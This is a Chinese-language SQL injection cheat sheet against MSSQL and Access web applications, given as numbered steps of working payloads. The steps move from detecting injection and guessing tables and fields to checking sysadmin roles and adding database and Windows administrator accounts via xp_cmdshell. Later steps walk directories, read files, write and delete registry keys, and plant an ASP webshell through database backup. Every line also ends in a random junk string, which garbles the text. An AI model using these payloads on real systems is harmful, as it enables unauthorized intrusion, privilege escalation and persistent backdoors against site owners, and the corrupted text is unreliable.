1.判断是否有注入;and 1=1 ;and 1=2 @PcCiGZ
2.初步判断是否是mssql ;and user>0 X_70]^XL
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3.注入参数是字符'and [查询条件] and ''=' \].J-^=
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' (Imp
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5.判断数据库系统 =wA5P@
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;and (select count(*) from sysobjects)>0 mssql DA
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;and (select count(*) from msysobjects)>0 access Ob(leL>ow
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 _@ i>s,
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 o?!uX|Fy
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 KZK,w#9.
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9.(1)猜字段的ascii值(access) ]A!.9Ko}u
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 vbn>mg5
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(2)猜字段的ascii值(mssql) z/vDgH!s
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 YMAQ+A!
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10.测试权限结构(mssql) I>((o`
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 0QR.
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ~.Q4c*_b
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- P{lh)m>
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- kukaim>K
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- .! j#3J..u
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- &HxT41pku
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;and 1=(select IS_MEMBER('db_owner'));-- ^I./L)0=}
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11.添加mssql和系统的帐户 f%1wMOzx
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;exec master.dbo.sp_addlogin username;-- GI4oQcJ
;exec master.dbo.sp_password null,username,password;-- 0=,'{Vz}A
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- s=\7)n=,M
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;exec master.dbo.xp_cmdshell 'net user username password mCrU//G
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- QX/]gX
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- vz,LF=s2
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ok=40B99T
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12.(1)遍历目录 5@.zz"o.`
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;create table dirs(paths varchar(100), id int) >%i9 oI<)
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;insert dirs exec master.dbo.xp_dirtree 'c:\' j@V$Mbv
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;and (select top 1 paths from dirs)>0 n%U9iwJ.
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) I~'gK8<e7
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- |N6mTB2
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Qq>ElQ@
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 =jBL'|k5
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 AYYRxhv_,
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 <M`-`v6H
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13.mssql中的存储过程 U!_sh<
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xp_regenumvalues 注册表根键, 子键 6e&g$R
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 yvS^2+jW
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xp_regread 根键,子键,键值名 ~"RQ!&U
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 TLX^~W[gOm
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xp_regwrite 根键,子键, 值名, 值类型, 值 v7g
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 fyGCfM
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 @],Z 2
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xp_regdeletevalue 根键,子键,值名 }3Df]
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 '>"`)-
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 kaV%0Of]
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14.mssql的backup创建webshell %{=4Fa(Jux
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create table cmd(str image); KhLg*EL
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insert into cmd(str) values (''); a\.//?
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backup database model to disk='c:\l.asp'; Hu[8HzJo
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15.mssql内置函数 v4X_v!CQ
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;and (select @@version)>0 获得Windows的版本号 yIM.j;5:~5
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa b;SFI^
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;and (select user_name())>0 爆当前系统的连接用户 axHxqhO7zp
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;and (select db_name())>0 得到当前连接的数据库 #tCIuQ,
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16.简洁的webshell i%#th'C!P
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use model hQ\#Fhu7
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create table cmd(str image); r[Z g 2
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insert into cmd(str) values (''); Iwnj'R7:
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backup database model to disk='g:\wwwtest\l.asp';